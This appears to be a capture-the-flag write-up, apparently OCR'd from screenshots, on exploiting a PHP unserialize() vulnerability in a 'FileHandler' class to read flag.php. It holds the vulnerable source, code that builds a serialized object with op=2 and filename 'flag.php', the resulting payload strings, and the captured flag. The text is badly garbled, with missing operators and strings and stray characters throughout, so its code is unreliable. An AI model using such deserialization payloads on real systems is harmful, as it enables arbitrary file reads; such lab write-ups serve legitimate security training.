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highlight_file(_ FILE_ );
class FileHandler {

protected $op;
protected $filename;
protected $content;

function _ construct() {
$op ;
$filename
$content

$this->process();

public function process() {
if($this->op ) {
$this->write();

} else if($this->op ) {
$res $this->read();
$this->output($res);

} else {
$this->output(

private function write() {
if(isset($this->filename) isset($this->content)) {
if(strlen((string)$this->content) 100) {
$this->output( );
die();
)i
$res file put_contents($this->filename, $this->content);
if($res) $this->output( );
else $this->output( );
} else {
$this->output(
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private function read() {
$res g
if(isset($this->filename)) {

$res = file get contents($this->filename);

}

return $res;

private function output($s) {
echo ;
echo $s;

function _ destruct() {
if($this->op )
$this->op
$this->content
$this->process();

function is_valid($s) {
for($i = 0; $i strlen($s); $i++)
if(!(ord($s[$i]) 32 ord($s[$i])
return false;

return true;

if(isset($_GET{ ) A

$str = (string)$ GET[ Ik

if(is_valid($str)) {

$obj unserialize($str);

1564 ¥ris_valid & %

function is valid($s) {
for($i 0; $i strlen($s); $i++)
if(!(ord($s[$i]) 32 ord($s[$i])
return false;

return true;
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if(isset($_GET{ ) {

$str = (string)$ GET[ Ik
if(is_valid($str)) {
$obj unserialize($str);
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function _ destruct() {
if($this->op
$this->op

$this->content

$this->process();
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public function process() {
if($this->op ) {
$this->write();
} else if($this->op ) {
$res $this->read();

$this->output($res);
} else {

$this->output(
!
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private function read() {
$res ;
if(isset($this->filename)) {

$res = file get contents($this->filename);

1
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return $res;
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FileHandler {

$op=2;
$filename="flag.php";

$content;

1
J
$a= FileHandler;
echo serialize(%a);

O:11:"FileHandler":3:{s:5:"*op";i:2;5:11:"*filename"”;s:8:"flag.php";s:10:"*content”;N;}
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FileHandler {

$op=2;
$filename=""f
$content;

1

J

$a=

echo serialize(%$a);

O:11:"FileHandler":3:{s:2:"op";i:2;5:8:"filename";s:8:"flag.php";s:7:"content”;N;}

payload:

iflisset (3 GET{ stx' 1)) |

Jstr = (string) 3 GET[ str’' 1,
iflis_walid(fstr)) |

Fobi = unserialize(§str):
}
}
[Result]:
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head:>< /head
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P ocodes.</code
“[Result]: "
br
<l--?phgp %$flag='flag{7831d585-823f-43de-9774-bb81619bb714}";
--»
/body
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